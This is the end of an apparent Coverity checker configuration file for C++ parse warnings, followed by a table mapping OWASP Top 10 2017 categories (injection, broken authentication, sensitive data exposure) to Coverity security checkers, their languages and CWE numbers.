// via a using-directive.
// Example:
// namespace A {
// template<typename T> class FOO {};
// }
// namespace B {
// using A::FOO;
// template<typename T> class FOO<T*> {};
// }
//
// Invalid C++, allowed for compatibility with Microsoft and
// GCC permissive mode.
//chk "PW.BAD_SCOPE_FOR_PARTIAL_SPEC": on;
// Reports when the return expression of a constexpr function
// isn't constant.
// Example:
// int bar();
// constexpr int foo() { return bar(); }
//
//chk "PW.CONSTEXPR_RETURN_NOT_CONSTANT": on;
// Reports when a constexpr contains a dangling pointer.
//
//chk "PW.CONSTEXPR_DANGLING_POINTER": on;
// Reports when a string literal is assigned to "char *".
//
//chk "PW.DEPRECATED_STRING_CONV": on;
// Reports when a string literal is assigned to a non-const
// pointer to characters, such as wchar_t*.
// Example:
// wchar_t* foo = L"bar";
//
//chk "PW.DEPRECATED_STRING_CONV_GEN": on;
// Reports when alignof is passed an expression rather
// than a type.
// Example:
// int i = alignof(100);
//
//chk "PW.STD_ALIGNOF_WITH_EXPR_ARG": on;
// Reports when an attribute is incompatible with thread_local.
// Example:
// class FOO {};
// thread_local FOO var __attribute__ ((init_priority (500)));
//
//chk "PW.ATTRIBUTE_IGNORED_FOR_THREAD_LOCAL": on;
// EOF
The following table identifies Open Web Application Security Project (OWASP) Top 10 - 2017 standards that Coverity Web Application Security Checkers checkers cover.
| Standard | Name | Description | Checkers | Languages | CWE Types |
|---|---|---|---|---|---|
| owasp-web-2017-A1 | Injection | Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. | ANGULAR_EXPRESSION_INJECTION | JavaScript | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 |
| EL_INJECTION | Java | 17, 18, 19, 20, 74, 77, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 844, 845, 868, 872, 876, 883, 888, 896, 907, 917, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| HEADER_INJECTION | C#, Java, JavaScript, PHP | 17, 18, 19, 20, 74, 77, 88, 116, 137, 171, 254, 264, 265, 361, 610, 629, 634, 635, 664, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 875, 876, 878, 883, 884, 888, 892, 893, 896, 907, 928, 929, 975, 980, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1020, 1026, 1027 | |||
| JAVA_CODE_INJECTION | Java | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 669, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 813, 829, 844, 845, 864, 868, 872, 876, 883, 884, 888, 892, 895, 896, 900, 907, 913, 928, 929, 963, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1016, 1019, 1020, 1026, 1027 | |||
| JCR_INJECTION | Java | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| JSP_DYNAMIC_INCLUDE | Java | 17, 18, 19, 20, 21, 22, 74, 94, 96, 97, 116, 137, 171, 254, 264, 265, 361, 398, 399, 470, 505, 610, 629, 632, 635, 664, 668, 691, 693, 699, 700, 706, 707, 710, 711, 715, 722, 723, 727, 734, 738, 742, 743, 746, 747, 750, 751, 752, 800, 802, 809, 813, 844, 845, 859, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 913, 928, 929, 932, 963, 975, 977, 978, 980, 981, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1020, 1026, 1027, 1028, 1031 | |||
| JSP_SQL_INJECTION | Java | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| LDAP_INJECTION | C#, Java, Visual Basic | 17, 18, 19, 20, 74, 90, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 943, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| NOSQL_QUERY_INJECTION | C#, Java, JavaScript, PHP, Python | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| OGNL_INJECTION | Java | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| OS_CMD_INJECTION | C#, Java, JavaScript, PHP, Python, Visual Basic | 17, 18, 19, 20, 74, 77, 78, 88, 116, 137, 138, 140, 141, 146, 171, 254, 629, 634, 635, 693, 699, 700, 707, 711, 713, 714, 722, 727, 734, 738, 741, 742, 744, 746, 747, 750, 751, 800, 801, 809, 810, 844, 845, 864, 868, 872, 875, 876, 878, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| REGEX_INJECTION | C#, Java, JavaScript, Swift, Visual Basic | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| SCRIPT_CODE_INJECTION | C#, Java, JavaScript, PHP, Python, Swift | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| SQLI | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| SQL_NOT_CONSTANT | C#, Java, Visual Basic | 17, 18, 19, 20, 74, 89, 116, 137, 138, 140, 141, 142, 143, 146, 149, 150, 157, 171, 254, 264, 284, 285, 361, 564, 566, 629, 632, 635, 639, 664, 693, 699, 700, 707, 711, 713, 715, 721, 722, 723, 727, 734, 738, 742, 746, 747, 750, 751, 753, 800, 801, 803, 809, 810, 813, 817, 840, 844, 845, 862, 864, 866, 868, 872, 876, 883, 884, 888, 892, 896, 899, 900, 907, 928, 929, 932, 935, 943, 944, 945, 975, 984, 990, 992, 994, 1000, 1003, 1005, 1008, 1011, 1019, 1020, 1026, 1027, 1031 | |||
| SYMFONY_EL_INJECTION | PHP | 17, 18, 19, 20, 74, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 844, 845, 868, 872, 876, 883, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| TAINTED_STRING | C/C++, Objective-C/C++ | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| TAINTED_STRING_WARNING | C/C++, Objective-C/C++ | 17, 18, 19, 20, 74, 116, 133, 134, 137, 171, 254, 633, 635, 693, 699, 700, 707, 711, 722, 726, 727, 734, 738, 742, 743, 746, 747, 750, 751, 800, 808, 844, 845, 865, 868, 872, 876, 877, 883, 884, 888, 896, 900, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| UNKNOWN_LANGUAGE_INJECTION | C#, Java | 17, 18, 19, 20, 74, 94, 116, 137, 171, 254, 361, 398, 399, 505, 635, 664, 691, 693, 699, 700, 707, 710, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| UNSAFE_JNI | Java | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 417, 427, 470, 505, 610, 635, 664, 668, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 895, 896, 907, 913, 963, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1026, 1027 | |||
| UNSAFE_REFLECTION | Java, PHP | 17, 18, 19, 20, 254, 264, 265, 361, 398, 399, 470, 505, 610, 635, 664, 693, 699, 700, 710, 711, 722, 734, 738, 742, 746, 747, 750, 751, 844, 859, 868, 872, 876, 883, 884, 888, 892, 893, 896, 907, 913, 975, 978, 980, 984, 991, 994, 1000, 1003, 1005, 1008, 1015, 1019, 1026, 1027 | |||
| URL_MANIPULATION | Java | 17, 18, 19, 20, 74, 99, 116, 137, 171, 254, 635, 693, 699, 700, 707, 711, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 813, 844, 845, 868, 872, 876, 883, 884, 888, 896, 907, 928, 929, 932, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027, 1031 | |||
| XML_INJECTION | C#, Java | 17, 18, 19, 20, 74, 91, 116, 137, 171, 254, 629, 635, 693, 699, 700, 707, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 809, 810, 844, 845, 868, 872, 876, 883, 888, 896, 907, 928, 929, 975, 990, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| XPATH_INJECTION | C#, Java, Swift | 17, 18, 19, 20, 74, 91, 94, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 643, 664, 691, 693, 699, 700, 707, 710, 711, 713, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 809, 810, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 943, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | |||
| owasp-web-2017-A2 | Broken Authentication | Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently. | CONFIG.ASP_VIEWSTATE_MAC | C# | 10, 16, 519, 635, 699, 711, 731, 928, 933, 1003, 1026, 1028, 1032 |
| CONFIG.ATS_INSECURE | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| CONFIG.CONNECTION_STRING_PASSWORD | C# | 2, 10, 13, 16, 17, 18, 254, 255, 259, 260, 264, 284, 287, 330, 344, 361, 519, 522, 629, 632, 635, 657, 664, 668, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 895, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 950, 963, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT | Java | 4, 16, 17, 18, 254, 264, 284, 285, 287, 288, 361, 417, 424, 425, 442, 592, 629, 632, 635, 638, 657, 664, 693, 699, 700, 710, 711, 718, 721, 722, 723, 724, 731, 750, 753, 800, 803, 809, 812, 813, 817, 840, 862, 866, 884, 888, 892, 894, 898, 899, 900, 907, 928, 930, 933, 935, 944, 945, 947, 953, 975, 978, 984, 988, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_SESSION_FIXATION | Java | 4, 16, 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 731, 809, 812, 888, 892, 898, 899, 907, 928, 930, 933, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031, 1032 | |||
| CONFIG.UNSAFE_SESSION_TIMEOUT | Java | 4, 16, 17, 18, 361, 613, 635, 664, 666, 672, 699, 700, 711, 724, 731, 800, 808, 840, 884, 888, 892, 898, 928, 930, 933, 951, 983, 984, 1000, 1003, 1008, 1018, 1026, 1028, 1032 | |||
| HARDCODED_CREDENTIALS | C#, C/C++, Java, JavaScript, Objective-C/C++, PHP, Python, Swift, Visual Basic | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | |||
| INSECURE_COMMUNICATION | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| INSECURE_COOKIE | Java | 17, 18, 254, 310, 311, 442, 614, 629, 635, 693, 699, 700, 711, 719, 720, 729, 800, 803, 809, 816, 818, 844, 861, 866, 888, 895, 900, 907, 928, 930, 934, 963, 966, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| INSECURE_MULTIPEER_CONNECTION | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| JSP_DYNAMIC_INCLUDE | Java | 17, 18, 19, 20, 21, 22, 74, 94, 96, 97, 116, 137, 171, 254, 264, 265, 361, 398, 399, 470, 505, 610, 629, 632, 635, 664, 668, 691, 693, 699, 700, 706, 707, 710, 711, 715, 722, 723, 727, 734, 738, 742, 743, 746, 747, 750, 751, 752, 800, 802, 809, 813, 844, 845, 859, 865, 868, 872, 876, 877, 883, 884, 888, 892, 893, 895, 896, 900, 907, 913, 928, 929, 932, 963, 975, 977, 978, 980, 981, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1011, 1015, 1019, 1020, 1026, 1027, 1028, 1031 | |||
| MISSING_AUTHZ | C#, Java, JavaScript, PHP, Python, Visual Basic | 17, 18, 254, 264, 284, 285, 287, 306, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 721, 723, 724, 750, 753, 800, 803, 809, 812, 817, 840, 866, 884, 888, 892, 898, 899, 900, 907, 928, 930, 935, 944, 945, 947, 952, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | |||
| SENSITIVE_DATA_LEAK | C#, Java, JavaScript, PHP, Python, Swift, Visual Basic | 17, 18, 19, 199, 200, 201, 209, 254, 264, 284, 285, 310, 311, 312, 313, 314, 315, 317, 319, 355, 359, 361, 388, 389, 532, 538, 552, 629, 632, 635, 664, 668, 693, 699, 700, 703, 711, 717, 719, 720, 721, 723, 728, 729, 731, 734, 743, 750, 751, 753, 755, 800, 801, 803, 809, 815, 816, 817, 818, 840, 844, 851, 857, 858, 859, 861, 866, 867, 868, 876, 877, 880, 884, 888, 889, 892, 895, 899, 900, 907, 922, 927, 928, 930, 933, 934, 935, 944, 945, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1009, 1011, 1012, 1013, 1015, 1020, 1026, 1028, 1029, 1031, 1032 | |||
| SESSION_FIXATION | Java | 17, 18, 254, 264, 284, 287, 361, 384, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1018, 1026, 1028, 1031 | |||
| UNENCRYPTED_SENSITIVE_DATA | C#, C/C++, Java, Objective-C/C++, Swift | 17, 18, 19, 199, 200, 254, 310, 311, 312, 313, 315, 319, 359, 361, 629, 635, 664, 668, 693, 699, 700, 711, 717, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 840, 844, 857, 858, 859, 861, 866, 884, 888, 892, 895, 900, 907, 922, 928, 930, 934, 963, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1028, 1029 | |||
| WEAK_BIOMETRIC_AUTH | Swift | 17, 18, 254, 264, 284, 287, 361, 629, 632, 635, 664, 693, 699, 700, 711, 718, 723, 724, 809, 812, 888, 892, 898, 899, 907, 928, 930, 935, 944, 947, 975, 984, 1000, 1003, 1008, 1010, 1011, 1026, 1028, 1031 | |||
| WEAK_GUARD | C/C++, Java, Objective-C/C++ | 17, 18, 19, 227, 247, 254, 264, 284, 287, 290, 291, 293, 350, 361, 471, 592, 629, 632, 635, 664, 693, 699, 700, 710, 711, 718, 723, 724, 800, 803, 807, 809, 812, 844, 859, 866, 868, 878, 884, 887, 888, 892, 896, 898, 899, 900, 902, 907, 923, 928, 930, 935, 944, 947, 949, 956, 975, 978, 984, 991, 1000, 1001, 1003, 1008, 1010, 1011, 1012, 1026, 1028, 1031 | |||
| WEAK_PASSWORD_HASH | C#, C/C++, Java, Objective-C/C++, Visual Basic | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 759, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1028, 1029 | |||
| owasp-web-2017-A3 | Sensitive Data Exposure | Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser. | ASPNET_MVC_VERSION_HEADER | C#, Visual Basic | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 |
| AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK | C/C++, Objective-C/C++ | 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 717, 840, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | |||
| BAD_CERT_VERIFICATION | Java, Swift | 17, 18, 227, 254, 264, 284, 295, 296, 297, 299, 300, 310, 361, 398, 399, 404, 573, 632, 635, 664, 693, 699, 700, 710, 711, 723, 724, 730, 731, 734, 743, 750, 752, 844, 850, 857, 859, 868, 876, 877, 882, 884, 887, 888, 892, 898, 899, 902, 907, 923, 928, 934, 944, 948, 956, 975, 978, 982, 984, 1000, 1001, 1003, 1006, 1008, 1011, 1014, 1026, 1029, 1031 | |||
| CONFIG.ASPNET_VERSION_HEADER | C# | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.ATS_INSECURE | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| CONFIG.CONNECTION_STRING_PASSWORD | C# | 2, 10, 13, 16, 17, 18, 254, 255, 259, 260, 264, 284, 287, 330, 344, 361, 519, 522, 629, 632, 635, 657, 664, 668, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 895, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 950, 963, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.COOKIES_MISSING_HTTPONLY | C# | 16, 17, 18, 19, 199, 200, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.DWR_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.DYNAMIC_DATA_HTML_COMMENT | C#, Java, Visual Basic | 17, 18, 19, 199, 200, 361, 538, 540, 552, 615, 629, 632, 635, 664, 668, 699, 700, 711, 717, 731, 734, 743, 809, 815, 840, 868, 877, 888, 892, 895, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029 | |||
| CONFIG.ENABLED_DEBUG_MODE | C# | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.ENABLED_TRACE_MODE | C# | 2, 10, 11, 16, 17, 18, 19, 199, 200, 215, 361, 519, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.JAVAEE_MISSING_HTTPONLY | Java | 4, 16, 17, 18, 19, 199, 200, 361, 629, 635, 664, 668, 699, 700, 711, 717, 731, 840, 888, 892, 895, 928, 933, 963, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1032 | |||
| CONFIG.SPRING_SECURITY_DEBUG_MODE | Java | 4, 16, 17, 18, 19, 199, 200, 215, 254, 264, 284, 285, 361, 629, 632, 635, 664, 668, 693, 699, 700, 711, 717, 721, 723, 731, 750, 753, 800, 803, 809, 813, 817, 840, 863, 866, 884, 888, 892, 895, 899, 900, 907, 928, 933, 935, 944, 945, 963, 975, 984, 1000, 1003, 1008, 1011, 1026, 1029, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY | Java | 4, 16, 17, 18, 254, 255, 264, 284, 287, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 723, 724, 731, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 933, 935, 944, 947, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1031, 1032 | |||
| HARDCODED_CREDENTIALS | C#, C/C++, Java, JavaScript, Objective-C/C++, PHP, Python, Swift, Visual Basic | 17, 18, 254, 255, 259, 264, 284, 287, 310, 320, 321, 330, 344, 361, 629, 632, 635, 657, 664, 671, 693, 699, 700, 710, 711, 718, 719, 720, 723, 724, 729, 734, 747, 750, 753, 798, 800, 803, 808, 809, 812, 844, 861, 866, 867, 868, 883, 884, 888, 892, 898, 899, 900, 905, 907, 928, 930, 934, 935, 944, 947, 950, 975, 978, 984, 1000, 1003, 1008, 1010, 1011, 1013, 1026, 1028, 1029, 1031 | |||
| INSECURE_COMMUNICATION | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| INSECURE_COOKIE | Java | 17, 18, 254, 310, 311, 442, 614, 629, 635, 693, 699, 700, 711, 719, 720, 729, 800, 803, 809, 816, 818, 844, 861, 866, 888, 895, 900, 907, 928, 930, 934, 963, 966, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| INSECURE_MULTIPEER_CONNECTION | Swift | 17, 18, 254, 310, 311, 319, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 751, 800, 803, 809, 816, 818, 844, 858, 859, 861, 866, 884, 888, 895, 900, 907, 928, 930, 934, 963, 975, 1000, 1003, 1008, 1013, 1026, 1028, 1029 | |||
| INSECURE_SALT | JavaScript | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 760, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 916, 928, 934, 958, 975, 1000, 1003, 1008, 1010, 1013, 1026, 1029 | |||
